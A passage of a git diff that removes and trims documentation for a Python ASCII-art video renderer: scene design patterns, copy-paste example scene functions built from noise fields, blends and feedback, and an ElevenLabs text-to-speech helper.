return np.clip(canvas * mask_px[:, :, None], 0, 255).astype(np.uint8)
|
||||
|
||||
def apply_mask_vf(vf_a, vf_b, mask):
|
||||
"""Apply mask at value-field level — blend two value fields spatially.
|
||||
All arrays are (rows, cols) float32."""
|
||||
return vf_a * mask + vf_b * (1 - mask)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PixelBlendStack
|
||||
|
||||
Higher-level wrapper for multi-layer compositing:
|
||||
|
||||
@@ -1,193 +0,0 @@
|
||||
# Scene Design Patterns
|
||||
|
||||
**Cross-references:**
|
||||
- Scene protocol, SCENES table: `scenes.md`
|
||||
- Blend modes, multi-grid composition, tonemap: `composition.md`
|
||||
- Effect building blocks (value fields, noise, SDFs): `effects.md`
|
||||
- Shader pipeline, feedback buffer: `shaders.md`
|
||||
- Complete scene examples: `examples.md`
|
||||
|
||||
Higher-order patterns for composing scenes that feel intentional rather than random. These patterns use the existing building blocks (value fields, blend modes, shaders, feedback) but organize them with compositional intent.
|
||||
|
||||
## Layer Hierarchy
|
||||
|
||||
Every scene should have clear visual layers with distinct roles:
|
||||
|
||||
| Layer | Grid | Brightness | Purpose |
|
||||
|-------|------|-----------|---------|
|
||||
| **Background** | xs or sm (dense) | 0.1–0.25 | Atmosphere, texture. Never competes with content. |
|
||||
| **Content** | md (balanced) | 0.4–0.8 | The main visual idea. Carries the scene's concept. |
|
||||
| **Accent** | lg or sm (sparse) | 0.5–1.0 (sparse coverage) | Highlights, punctuation, sparse bright points. |
|
||||
|
||||
The background sets mood. The content layer is what the scene *is about*. The accent adds visual interest without overwhelming.
|
||||
|
||||
```python
|
||||
def fx_example(r, f, t, S):
|
||||
local = t
|
||||
progress = min(local / 5.0, 1.0)
|
||||
|
||||
g_bg = r.get_grid("sm")
|
||||
g_main = r.get_grid("md")
|
||||
g_accent = r.get_grid("lg")
|
||||
|
||||
# --- Background: dim atmosphere ---
|
||||
bg_val = vf_smooth_noise(g_bg, f, t * 0.3, S, octaves=2, bri=0.15)
|
||||
# ... render bg to canvas
|
||||
|
||||
# --- Content: the main visual idea ---
|
||||
content_val = vf_spiral(g_main, f, t, S, n_arms=n_arms, tightness=tightness)
|
||||
# ... render content on top of canvas
|
||||
|
||||
# --- Accent: sparse highlights ---
|
||||
accent_val = vf_noise_static(g_accent, f, t, S, density=0.05)
|
||||
# ... render accent on top
|
||||
|
||||
return canvas
|
||||
```
|
||||
|
||||
## Directional Parameter Arcs
|
||||
|
||||
Parameters should *go somewhere* over the scene's duration — not oscillate aimlessly with `sin(t * N)`.
|
||||
|
||||
**Bad:** `twist = 3.0 + 2.0 * math.sin(t * 0.6)` — wobbles back and forth, feels aimless.
|
||||
|
||||
**Good:** `twist = 2.0 + progress * 5.0` — starts gentle, ends intense. The scene *builds*.
|
||||
|
||||
Use `progress = min(local / duration, 1.0)` (0→1 over the scene) to drive directional change:
|
||||
|
||||
| Pattern | Formula | Feel |
|
||||
|---------|---------|------|
|
||||
| Linear ramp | `progress * range` | Steady buildup |
|
||||
| Ease-out | `1 - (1 - progress) ** 2` | Fast start, gentle finish |
|
||||
| Ease-in | `progress ** 2` | Slow start, accelerating |
|
||||
| Step reveal | `np.clip((progress - 0.5) / 0.25, 0, 1)` | Nothing until 50%, then fades in |
|
||||
| Build + plateau | `min(1.0, progress * 1.5)` | Reaches full at 67%, holds |
|
||||
|
||||
Oscillation is fine for *secondary* parameters (saturation shimmer, hue drift). But the *defining* parameter of the scene should have a direction.
|
||||
|
||||
### Examples of Directional Arcs
|
||||
|
||||
| Scene concept | Parameter | Arc |
|
||||
|--------------|-----------|-----|
|
||||
| Emergence | Ring radius | 0 → max (ease-out) |
|
||||
| Shatter | Voronoi cell count | 8 → 38 (linear) |
|
||||
| Descent | Tunnel speed | 2.0 → 10.0 (linear) |
|
||||
| Mandala | Shape complexity | ring → +polygon → +star → +rosette (step reveals) |
|
||||
| Crescendo | Layer count | 1 → 7 (staggered entry) |
|
||||
| Entropy | Geometry visibility | 1.0 → 0.0 (consumed) |
|
||||
|
||||
## Scene Concepts
|
||||
|
||||
Each scene should be built around a *visual idea*, not an effect name.
|
||||
|
||||
**Bad:** "fx_plasma_cascade" — named after the effect. No concept.
|
||||
**Good:** "fx_emergence" — a point of light expands into a field. The name tells you *what happens*.
|
||||
|
||||
Good scene concepts have:
|
||||
1. A **visual metaphor** (emergence, descent, collision, entropy)
|
||||
2. A **directional arc** (things change from A to B, not oscillate)
|
||||
3. **Motivated layer choices** (each layer serves the concept)
|
||||
4. **Motivated feedback** (transform direction matches the metaphor)
|
||||
|
||||
| Concept | Metaphor | Feedback transform | Why |
|
||||
|---------|----------|-------------------|-----|
|
||||
| Emergence | Birth, expansion | zoom-out | Past frames expand outward |
|
||||
| Descent | Falling, acceleration | zoom-in | Past frames rush toward center |
|
||||
| Inferno | Rising fire | shift-up | Past frames rise with the flames |
|
||||
| Entropy | Decay, dissolution | none | Clean, no persistence — things disappear |
|
||||
| Crescendo | Accumulation | zoom + hue_shift | Everything compounds and shifts |
|
||||
|
||||
## Compositional Techniques
|
||||
|
||||
### Counter-Rotating Dual Systems
|
||||
|
||||
Two instances of the same effect rotating in opposite directions create visual interference:
|
||||
|
||||
```python
|
||||
# Primary spiral (clockwise)
|
||||
s1_val = vf_spiral(g_main, f, t * 1.5, S, n_arms=n_arms_1, tightness=tightness_1)
|
||||
|
||||
# Counter-rotating spiral (counter-clockwise via negative time)
|
||||
s2_val = vf_spiral(g_accent, f, -t * 1.2, S, n_arms=n_arms_2, tightness=tightness_2)
|
||||
|
||||
# Screen blend creates bright interference at crossing points
|
||||
canvas = blend_canvas(canvas_with_s1, c2, "screen", 0.7)
|
||||
```
|
||||
|
||||
Works with spirals, vortexes, rings. The counter-rotation creates constantly shifting interference patterns.
|
||||
|
||||
### Wave Collision
|
||||
|
||||
Two wave fronts converging from opposite sides, meeting at a collision point:
|
||||
|
||||
```python
|
||||
collision_phase = abs(progress - 0.5) * 2 # 1→0→1 (0 at collision)
|
||||
|
||||
# Wave A approaches from left
|
||||
offset_a = (1 - progress) * g.cols * 0.4
|
||||
wave_a = np.sin((g.cc + offset_a) * 0.08 + t * 2) * 0.5 + 0.5
|
||||
|
||||
# Wave B approaches from right
|
||||
offset_b = -(1 - progress) * g.cols * 0.4
|
||||
wave_b = np.sin((g.cc + offset_b) * 0.08 - t * 2) * 0.5 + 0.5
|
||||
|
||||
# Interference peaks at collision
|
||||
combined = wave_a * 0.5 + wave_b * 0.5 + np.abs(wave_a - wave_b) * (1 - collision_phase) * 0.5
|
||||
```
|
||||
|
||||
### Progressive Fragmentation
|
||||
|
||||
Voronoi with cell count increasing over time — visual shattering:
|
||||
|
||||
```python
|
||||
n_pts = int(8 + progress * 30) # 8 cells → 38 cells
|
||||
# Pre-generate enough points, slice to n_pts
|
||||
px = base_x[:n_pts] + np.sin(t * 0.3 + np.arange(n_pts) * 0.7) * (3 + progress * 3)
|
||||
```
|
||||
|
||||
The edge glow width can also increase with progress to emphasize the cracks.
|
||||
|
||||
### Entropy / Consumption
|
||||
|
||||
A clean geometric pattern being overtaken by an organic process:
|
||||
|
||||
```python
|
||||
# Geometry fades out
|
||||
geo_val = clean_pattern * max(0.05, 1.0 - progress * 0.9)
|
||||
|
||||
# Organic process grows in
|
||||
rd_val = vf_reaction_diffusion(g, f, t, S) * min(1.0, progress * 1.5)
|
||||
|
||||
# Render geometry first, organic on top — organic consumes geometry
|
||||
```
|
||||
|
||||
### Staggered Layer Entry (Crescendo)
|
||||
|
||||
Layers enter one at a time, building to overwhelming density:
|
||||
|
||||
```python
|
||||
def layer_strength(enter_t, ramp=1.5):
|
||||
"""0.0 until enter_t, ramps to 1.0 over ramp seconds."""
|
||||
return max(0.0, min(1.0, (local - enter_t) / ramp))
|
||||
|
||||
# Layer 1: always present
|
||||
s1 = layer_strength(0.0)
|
||||
# Layer 2: enters at 2s
|
||||
s2 = layer_strength(2.0)
|
||||
# Layer 3: enters at 4s
|
||||
s3 = layer_strength(4.0)
|
||||
# ... etc
|
||||
|
||||
# Each layer uses a different effect, grid, palette, and blend mode
|
||||
# Screen blend between layers so they accumulate light
|
||||
```
|
||||
|
||||
For a 15-second crescendo, 7 layers entering every 2 seconds works well. Use different blend modes (screen for most, add for energy, colordodge for the final wash).
|
||||
|
||||
## Scene Ordering
|
||||
|
||||
For a multi-scene reel or video:
|
||||
- **Vary mood between adjacent scenes** — don't put two calm scenes next to each other
|
||||
- **Randomize order** rather than grouping by type — prevents "effect demo" feel
|
||||
- **End on the strongest scene** — crescendo or something with a clear payoff
|
||||
- **Open with energy** — grab attention in the first 2 seconds
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,416 +0,0 @@
|
||||
# Scene Examples
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, palettes, color (HSV + OKLAB): `architecture.md`
|
||||
- Effect building blocks (value fields, noise, SDFs, particles): `effects.md`
|
||||
- `_render_vf()`, blend modes, tonemap, masking: `composition.md`
|
||||
- Scene protocol, render_clip, SCENES table: `scenes.md`
|
||||
- Shader pipeline, feedback buffer, ShaderChain: `shaders.md`
|
||||
- Input sources (audio features, video features): `inputs.md`
|
||||
- Performance tuning: `optimization.md`
|
||||
- Common bugs: `troubleshooting.md`
|
||||
|
||||
Copy-paste-ready scene functions at increasing complexity. Each is a complete, working v2 scene function that returns a pixel canvas. See `scenes.md` for the scene protocol and `composition.md` for blend modes and tonemap.
|
||||
|
||||
---
|
||||
|
||||
## Minimal — Single Grid, Single Effect
|
||||
|
||||
### Breathing Plasma
|
||||
|
||||
One grid, one value field, one hue field. The simplest possible scene.
|
||||
|
||||
```python
|
||||
def fx_breathing_plasma(r, f, t, S):
|
||||
"""Plasma field with time-cycling hue. Audio modulates brightness."""
|
||||
canvas = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_plasma(g, f, t, S) * 1.3,
|
||||
hf_time_cycle(0.08), PAL_DENSE, f, t, S, sat=0.8)
|
||||
return canvas
|
||||
```
|
||||
|
||||
### Reaction-Diffusion Coral
|
||||
|
||||
Single grid, simulation-based field. Evolves organically over time.
|
||||
|
||||
```python
|
||||
def fx_coral(r, f, t, S):
|
||||
"""Gray-Scott reaction-diffusion — coral branching pattern.
|
||||
Slow-evolving, organic. Best for ambient/chill sections."""
|
||||
canvas = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_reaction_diffusion(g, f, t, S,
|
||||
feed=0.037, kill=0.060, steps_per_frame=6, init_mode="center"),
|
||||
hf_distance(0.55, 0.015), PAL_DOTS, f, t, S, sat=0.7)
|
||||
return canvas
|
||||
```
|
||||
|
||||
### SDF Geometry
|
||||
|
||||
Geometric shapes from SDFs. Clean, precise, graphic.
|
||||
|
||||
```python
|
||||
def fx_sdf_rings(r, f, t, S):
|
||||
"""Concentric SDF rings with smooth pulsing."""
|
||||
def val_fn(g, f, t, S):
|
||||
d1 = sdf_ring(g, radius=0.15 + f.get("bass", 0.3) * 0.05, thickness=0.015)
|
||||
d2 = sdf_ring(g, radius=0.25 + f.get("mid", 0.3) * 0.05, thickness=0.012)
|
||||
d3 = sdf_ring(g, radius=0.35 + f.get("hi", 0.3) * 0.04, thickness=0.010)
|
||||
combined = sdf_smooth_union(sdf_smooth_union(d1, d2, 0.05), d3, 0.05)
|
||||
return sdf_glow(combined, falloff=0.08) * (0.5 + f.get("rms", 0.3) * 0.8)
|
||||
canvas = _render_vf(r, "md", val_fn, hf_angle(0.0), PAL_STARS, f, t, S, sat=0.85)
|
||||
return canvas
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Standard — Two Grids + Blend
|
||||
|
||||
### Tunnel Through Noise
|
||||
|
||||
Two grids at different densities, screen blended. The fine noise texture shows through the coarser tunnel characters.
|
||||
|
||||
```python
|
||||
def fx_tunnel_noise(r, f, t, S):
|
||||
"""Tunnel depth on md grid + fBM noise on sm grid, screen blended."""
|
||||
canvas_a = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_tunnel(g, f, t, S, speed=4.0, complexity=8) * 1.2,
|
||||
hf_distance(0.5, 0.02), PAL_BLOCKS, f, t, S, sat=0.7)
|
||||
|
||||
canvas_b = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_fbm(g, f, t, S, octaves=4, freq=0.05, speed=0.15) * 1.3,
|
||||
hf_time_cycle(0.06), PAL_RUNE, f, t, S, sat=0.6)
|
||||
|
||||
return blend_canvas(canvas_a, canvas_b, "screen", 0.7)
|
||||
```
|
||||
|
||||
### Voronoi Cells + Spiral Overlay
|
||||
|
||||
Voronoi cell edges with a spiral arm pattern overlaid.
|
||||
|
||||
```python
|
||||
def fx_voronoi_spiral(r, f, t, S):
|
||||
"""Voronoi edge detection on md + logarithmic spiral on lg."""
|
||||
canvas_a = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_voronoi(g, f, t, S,
|
||||
n_cells=15, mode="edge", edge_width=2.0, speed=0.4),
|
||||
hf_angle(0.2), PAL_CIRCUIT, f, t, S, sat=0.75)
|
||||
|
||||
canvas_b = _render_vf(r, "lg",
|
||||
lambda g, f, t, S: vf_spiral(g, f, t, S, n_arms=4, tightness=3.0) * 1.2,
|
||||
hf_distance(0.1, 0.03), PAL_BLOCKS, f, t, S, sat=0.9)
|
||||
|
||||
return blend_canvas(canvas_a, canvas_b, "exclusion", 0.6)
|
||||
```
|
||||
|
||||
### Domain-Warped fBM
|
||||
|
||||
Two layers of the same fBM, one domain-warped, difference-blended for psychedelic organic texture.
|
||||
|
||||
```python
|
||||
def fx_organic_warp(r, f, t, S):
|
||||
"""Clean fBM vs domain-warped fBM, difference blended."""
|
||||
canvas_a = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_fbm(g, f, t, S, octaves=5, freq=0.04, speed=0.1),
|
||||
hf_plasma(0.2), PAL_DENSE, f, t, S, sat=0.6)
|
||||
|
||||
canvas_b = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_domain_warp(g, f, t, S,
|
||||
warp_strength=20.0, freq=0.05, speed=0.15),
|
||||
hf_time_cycle(0.05), PAL_BRAILLE, f, t, S, sat=0.7)
|
||||
|
||||
return blend_canvas(canvas_a, canvas_b, "difference", 0.7)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Complex — Three Grids + Conditional + Feedback
|
||||
|
||||
### Psychedelic Cathedral
|
||||
|
||||
Three-grid composition with beat-triggered kaleidoscope and feedback zoom tunnel. The most visually complex pattern.
|
||||
|
||||
```python
|
||||
def fx_cathedral(r, f, t, S):
|
||||
"""Three-layer cathedral: interference + rings + noise, kaleidoscope on beat,
|
||||
feedback zoom tunnel."""
|
||||
# Layer 1: interference pattern on sm grid
|
||||
canvas_a = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_interference(g, f, t, S, n_waves=7) * 1.3,
|
||||
hf_angle(0.0), PAL_MATH, f, t, S, sat=0.8)
|
||||
|
||||
# Layer 2: pulsing rings on md grid
|
||||
canvas_b = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_rings(g, f, t, S, n_base=10, spacing_base=3) * 1.4,
|
||||
hf_distance(0.3, 0.02), PAL_STARS, f, t, S, sat=0.9)
|
||||
|
||||
# Layer 3: temporal noise on lg grid (slow morph)
|
||||
canvas_c = _render_vf(r, "lg",
|
||||
lambda g, f, t, S: vf_temporal_noise(g, f, t, S,
|
||||
freq=0.04, t_freq=0.2, octaves=3),
|
||||
hf_time_cycle(0.12), PAL_BLOCKS, f, t, S, sat=0.7)
|
||||
|
||||
# Blend: A screen B, then difference with C
|
||||
result = blend_canvas(canvas_a, canvas_b, "screen", 0.8)
|
||||
result = blend_canvas(result, canvas_c, "difference", 0.5)
|
||||
|
||||
# Beat-triggered kaleidoscope
|
||||
if f.get("bdecay", 0) > 0.3:
|
||||
folds = 6 if f.get("sub_r", 0.3) > 0.4 else 8
|
||||
result = sh_kaleidoscope(result.copy(), folds=folds)
|
||||
|
||||
return result
|
||||
|
||||
# Scene table entry with feedback:
|
||||
# {"start": 30.0, "end": 50.0, "name": "cathedral", "fx": fx_cathedral,
|
||||
# "gamma": 0.65, "shaders": [("bloom", {"thr": 110}), ("chromatic", {"amt": 4}),
|
||||
# ("vignette", {"s": 0.2}), ("grain", {"amt": 8})],
|
||||
# "feedback": {"decay": 0.75, "blend": "screen", "opacity": 0.35,
|
||||
# "transform": "zoom", "transform_amt": 0.012, "hue_shift": 0.015}}
|
||||
```
|
||||
|
||||
### Masked Reaction-Diffusion with Attractor Overlay
|
||||
|
||||
Reaction-diffusion visible only through an animated iris mask, with a strange attractor density field underneath.
|
||||
|
||||
```python
|
||||
def fx_masked_life(r, f, t, S):
|
||||
"""Attractor base + reaction-diffusion visible through iris mask + particles."""
|
||||
g_sm = r.get_grid("sm")
|
||||
g_md = r.get_grid("md")
|
||||
|
||||
# Layer 1: strange attractor density field (background)
|
||||
canvas_bg = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_strange_attractor(g, f, t, S,
|
||||
attractor="clifford", n_points=30000),
|
||||
hf_time_cycle(0.04), PAL_DOTS, f, t, S, sat=0.5)
|
||||
|
||||
# Layer 2: reaction-diffusion (foreground, will be masked)
|
||||
canvas_rd = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_reaction_diffusion(g, f, t, S,
|
||||
feed=0.046, kill=0.063, steps_per_frame=4, init_mode="ring"),
|
||||
hf_angle(0.15), PAL_HALFFILL, f, t, S, sat=0.85)
|
||||
|
||||
# Animated iris mask — opens over first 5 seconds of scene
|
||||
scene_start = S.get("_scene_start", t)
|
||||
if "_scene_start" not in S:
|
||||
S["_scene_start"] = t
|
||||
mask = mask_iris(g_md, t, scene_start, scene_start + 5.0,
|
||||
max_radius=0.6)
|
||||
canvas_rd = apply_mask_canvas(canvas_rd, mask, bg_canvas=canvas_bg)
|
||||
|
||||
# Layer 3: flow-field particles following the R-D gradient
|
||||
rd_field = vf_reaction_diffusion(g_sm, f, t, S,
|
||||
feed=0.046, kill=0.063, steps_per_frame=0) # read without stepping
|
||||
ch_p, co_p = update_flow_particles(S, g_sm, f, rd_field,
|
||||
n=300, speed=0.8, char_set=list("·•◦∘°"))
|
||||
canvas_p = g_sm.render(ch_p, co_p)
|
||||
|
||||
result = blend_canvas(canvas_rd, canvas_p, "add", 0.7)
|
||||
return result
|
||||
```
|
||||
|
||||
### Morphing Field Sequence with Eased Keyframes
|
||||
|
||||
Demonstrates temporal coherence: smooth morphing between effects with keyframed parameters.
|
||||
|
||||
```python
|
||||
def fx_morphing_journey(r, f, t, S):
|
||||
"""Morphs through 4 value fields over 20 seconds with eased transitions.
|
||||
Parameters (twist, arm count) also keyframed."""
|
||||
# Keyframed twist parameter
|
||||
twist = keyframe(t, [(0, 1.0), (5, 5.0), (10, 2.0), (15, 8.0), (20, 1.0)],
|
||||
ease_fn=ease_in_out_cubic, loop=True)
|
||||
|
||||
# Sequence of value fields with 2s crossfade
|
||||
fields = [
|
||||
lambda g, f, t, S: vf_plasma(g, f, t, S),
|
||||
lambda g, f, t, S: vf_vortex(g, f, t, S, twist=twist),
|
||||
lambda g, f, t, S: vf_fbm(g, f, t, S, octaves=5, freq=0.04),
|
||||
lambda g, f, t, S: vf_domain_warp(g, f, t, S, warp_strength=15),
|
||||
]
|
||||
durations = [5.0, 5.0, 5.0, 5.0]
|
||||
|
||||
val_fn = lambda g, f, t, S: vf_sequence(g, f, t, S, fields, durations,
|
||||
crossfade=2.0)
|
||||
|
||||
# Render with slowly rotating hue
|
||||
canvas = _render_vf(r, "md", val_fn, hf_time_cycle(0.06),
|
||||
PAL_DENSE, f, t, S, sat=0.8)
|
||||
|
||||
# Second layer: tiled version of same sequence at smaller grid
|
||||
tiled_fn = lambda g, f, t, S: vf_sequence(
|
||||
make_tgrid(g, *uv_tile(g, 3, 3, mirror=True)),
|
||||
f, t, S, fields, durations, crossfade=2.0)
|
||||
canvas_b = _render_vf(r, "sm", tiled_fn, hf_angle(0.1),
|
||||
PAL_RUNE, f, t, S, sat=0.6)
|
||||
|
||||
return blend_canvas(canvas, canvas_b, "screen", 0.5)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Specialized — Unique State Patterns
|
||||
|
||||
### Game of Life with Ghost Trails
|
||||
|
||||
Cellular automaton with analog fade trails. Beat injects random cells.
|
||||
|
||||
```python
|
||||
def fx_life(r, f, t, S):
|
||||
"""Conway's Game of Life with fading ghost trails.
|
||||
Beat events inject random live cells for disruption."""
|
||||
canvas = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_game_of_life(g, f, t, S,
|
||||
rule="life", steps_per_frame=1, fade=0.92, density=0.25),
|
||||
hf_fixed(0.33), PAL_BLOCKS, f, t, S, sat=0.8)
|
||||
|
||||
# Overlay: coral automaton on lg grid for chunky texture
|
||||
canvas_b = _render_vf(r, "lg",
|
||||
lambda g, f, t, S: vf_game_of_life(g, f, t, S,
|
||||
rule="coral", steps_per_frame=1, fade=0.85, density=0.15, seed=99),
|
||||
hf_time_cycle(0.1), PAL_HATCH, f, t, S, sat=0.6)
|
||||
|
||||
return blend_canvas(canvas, canvas_b, "screen", 0.5)
|
||||
```
|
||||
|
||||
### Boids Flock Over Voronoi
|
||||
|
||||
Emergent swarm movement over a cellular background.
|
||||
|
||||
```python
|
||||
def fx_boid_swarm(r, f, t, S):
|
||||
"""Flocking boids over animated voronoi cells."""
|
||||
# Background: voronoi cells
|
||||
canvas_bg = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_voronoi(g, f, t, S,
|
||||
n_cells=20, mode="distance", speed=0.2),
|
||||
hf_distance(0.4, 0.02), PAL_CIRCUIT, f, t, S, sat=0.5)
|
||||
|
||||
# Foreground: boids
|
||||
g = r.get_grid("md")
|
||||
ch_b, co_b = update_boids(S, g, f, n_boids=150, perception=6.0,
|
||||
max_speed=1.5, char_set=list("▸▹►▻→⟶"))
|
||||
canvas_boids = g.render(ch_b, co_b)
|
||||
|
||||
# Trails for the boids
|
||||
# (boid positions are stored in S["boid_x"], S["boid_y"])
|
||||
S["px"] = list(S.get("boid_x", []))
|
||||
S["py"] = list(S.get("boid_y", []))
|
||||
ch_t, co_t = draw_particle_trails(S, g, max_trail=6, fade=0.6)
|
||||
canvas_trails = g.render(ch_t, co_t)
|
||||
|
||||
result = blend_canvas(canvas_bg, canvas_trails, "add", 0.3)
|
||||
result = blend_canvas(result, canvas_boids, "add", 0.9)
|
||||
return result
|
||||
```
|
||||
|
||||
### Fire Rising Through SDF Text Stencil
|
||||
|
||||
Fire effect visible only through text letterforms.
|
||||
|
||||
```python
|
||||
def fx_fire_text(r, f, t, S):
|
||||
"""Fire columns visible through text stencil. Text acts as window."""
|
||||
g = r.get_grid("lg")
|
||||
|
||||
# Full-screen fire (will be masked)
|
||||
canvas_fire = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: np.clip(
|
||||
vf_fbm(g, f, t, S, octaves=4, freq=0.08, speed=0.8) *
|
||||
(1.0 - g.rr / g.rows) * # fade toward top
|
||||
(0.6 + f.get("bass", 0.3) * 0.8), 0, 1),
|
||||
hf_fixed(0.05), PAL_BLOCKS, f, t, S, sat=0.9) # fire hue
|
||||
|
||||
# Background: dark domain warp
|
||||
canvas_bg = _render_vf(r, "md",
|
||||
lambda g, f, t, S: vf_domain_warp(g, f, t, S,
|
||||
warp_strength=8, freq=0.03, speed=0.05) * 0.3,
|
||||
hf_fixed(0.6), PAL_DENSE, f, t, S, sat=0.4)
|
||||
|
||||
# Text stencil mask
|
||||
mask = mask_text(g, "FIRE", row_frac=0.45)
|
||||
# Expand vertically for multi-row coverage
|
||||
for offset in range(-2, 3):
|
||||
shifted = mask_text(g, "FIRE", row_frac=0.45 + offset / g.rows)
|
||||
mask = mask_union(mask, shifted)
|
||||
|
||||
canvas_masked = apply_mask_canvas(canvas_fire, mask, bg_canvas=canvas_bg)
|
||||
return canvas_masked
|
||||
```
|
||||
|
||||
### Portrait Mode: Vertical Rain + Quote
|
||||
|
||||
Optimized for 9:16. Uses vertical space for long rain trails and stacked text.
|
||||
|
||||
```python
|
||||
def fx_portrait_rain_quote(r, f, t, S):
|
||||
"""Portrait-optimized: matrix rain (long vertical trails) with stacked quote.
|
||||
Designed for 1080x1920 (9:16)."""
|
||||
g = r.get_grid("md") # ~112x100 in portrait
|
||||
|
||||
# Matrix rain — long trails benefit from portrait's extra rows
|
||||
ch, co, S = eff_matrix_rain(g, f, t, S,
|
||||
hue=0.33, bri=0.6, pal=PAL_KATA, speed_base=0.4, speed_beat=2.5)
|
||||
canvas_rain = g.render(ch, co)
|
||||
|
||||
# Tunnel depth underneath for texture
|
||||
canvas_tunnel = _render_vf(r, "sm",
|
||||
lambda g, f, t, S: vf_tunnel(g, f, t, S, speed=3.0, complexity=6) * 0.8,
|
||||
hf_fixed(0.33), PAL_BLOCKS, f, t, S, sat=0.5)
|
||||
|
||||
result = blend_canvas(canvas_tunnel, canvas_rain, "screen", 0.8)
|
||||
|
||||
# Quote text — portrait layout: short lines, many of them
|
||||
g_text = r.get_grid("lg") # ~90x80 in portrait
|
||||
quote_lines = layout_text_portrait(
|
||||
"The code is the art and the art is the code",
|
||||
max_chars_per_line=20)
|
||||
# Center vertically
|
||||
block_start = (g_text.rows - len(quote_lines)) // 2
|
||||
ch_t = np.full((g_text.rows, g_text.cols), " ", dtype="U1")
|
||||
co_t = np.zeros((g_text.rows, g_text.cols, 3), dtype=np.uint8)
|
||||
total_chars = sum(len(l) for l in quote_lines)
|
||||
progress = min(1.0, (t - S.get("_scene_start", t)) / 3.0)
|
||||
if "_scene_start" not in S: S["_scene_start"] = t
|
||||
render_typewriter(ch_t, co_t, quote_lines, block_start, g_text.cols,
|
||||
progress, total_chars, (200, 255, 220), t)
|
||||
canvas_text = g_text.render(ch_t, co_t)
|
||||
|
||||
result = blend_canvas(result, canvas_text, "add", 0.9)
|
||||
return result
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Scene Table Template
|
||||
|
||||
Wire scenes into a complete video:
|
||||
|
||||
```python
|
||||
SCENES = [
|
||||
{"start": 0.0, "end": 5.0, "name": "coral",
|
||||
"fx": fx_coral, "grid": "sm", "gamma": 0.70,
|
||||
"shaders": [("bloom", {"thr": 110}), ("vignette", {"s": 0.2})],
|
||||
"feedback": {"decay": 0.8, "blend": "screen", "opacity": 0.3,
|
||||
"transform": "zoom", "transform_amt": 0.01}},
|
||||
|
||||
{"start": 5.0, "end": 15.0, "name": "tunnel_noise",
|
||||
"fx": fx_tunnel_noise, "grid": "md", "gamma": 0.75,
|
||||
"shaders": [("chromatic", {"amt": 3}), ("bloom", {"thr": 120}),
|
||||
("scanlines", {"intensity": 0.06}), ("grain", {"amt": 8})],
|
||||
"feedback": None},
|
||||
|
||||
{"start": 15.0, "end": 35.0, "name": "cathedral",
|
||||
"fx": fx_cathedral, "grid": "sm", "gamma": 0.65,
|
||||
"shaders": [("bloom", {"thr": 100}), ("chromatic", {"amt": 5}),
|
||||
("color_wobble", {"amt": 0.2}), ("vignette", {"s": 0.18})],
|
||||
"feedback": {"decay": 0.75, "blend": "screen", "opacity": 0.35,
|
||||
"transform": "zoom", "transform_amt": 0.012, "hue_shift": 0.015}},
|
||||
|
||||
{"start": 35.0, "end": 50.0, "name": "morphing",
|
||||
"fx": fx_morphing_journey, "grid": "md", "gamma": 0.70,
|
||||
"shaders": [("bloom", {"thr": 110}), ("grain", {"amt": 6})],
|
||||
"feedback": {"decay": 0.7, "blend": "screen", "opacity": 0.25,
|
||||
"transform": "rotate_cw", "transform_amt": 0.003}},
|
||||
]
|
||||
```
|
||||
@@ -1,14 +1,5 @@
|
||||
# Input Sources
|
||||
|
||||
**Cross-references:**
|
||||
- Grid system, resolution presets: `architecture.md`
|
||||
- Effect building blocks (audio-reactive modulation): `effects.md`
|
||||
- Scene protocol, SCENES table (feature routing): `scenes.md`
|
||||
- Shader pipeline, output encoding: `shaders.md`
|
||||
- Performance tuning (audio chunking, WAV caching): `optimization.md`
|
||||
- Common bugs (sample rate, dtype, silence handling): `troubleshooting.md`
|
||||
- Complete scene examples with feature usage: `examples.md`
|
||||
|
||||
## Audio Analysis
|
||||
|
||||
### Loading
|
||||
@@ -303,73 +294,23 @@ For narrated videos (testimonials, quotes, storytelling), generate speech audio
|
||||
### ElevenLabs Voice Generation
|
||||
|
||||
```python
|
||||
import requests, time, os
|
||||
import requests
|
||||
|
||||
def generate_tts(text, voice_id, api_key, output_path, model="eleven_multilingual_v2"):
|
||||
"""Generate TTS audio via ElevenLabs API. Streams response to disk."""
|
||||
# Skip if already generated (idempotent re-runs)
|
||||
if os.path.exists(output_path) and os.path.getsize(output_path) > 1000:
|
||||
return
|
||||
|
||||
"""Generate TTS audio via ElevenLabs API."""
|
||||
url = f"https://api.elevenlabs.io/v1/text-to-speech/{voice_id}"
|
||||
headers = {"xi-api-key": api_key, "Content-Type": "application/json"}
|
||||
data = {
|
||||
"text": text,
|
||||
"model_id": model,
|
||||
"voice_settings": {
|
||||
"stability": 0.65,
|
||||
"similarity_boost": 0.80,
|
||||
"style": 0.15,
|
||||
"use_speaker_boost": True,
|
||||
},
|
||||
}
|
||||
resp = requests.post(url, json=data, headers=headers, stream=True)
|
||||
data = {"text": text, "model_id": model,
|
||||
"voice_settings": {"stability": 0.5, "similarity_boost": 0.75}}
|
||||
resp = requests.post(url, json=data, headers=headers, timeout=30)
|
||||
resp.raise_for_status()
|
||||
with open(output_path, "wb") as f:
|
||||
for chunk in resp.iter_content(chunk_size=4096):
|
||||
f.write(chunk)
|
||||
time.sleep(0.3) # rate limit: avoid 429s on batch generation
|
||||
```
|
||||
|
||||
Voice settings notes:
|
||||
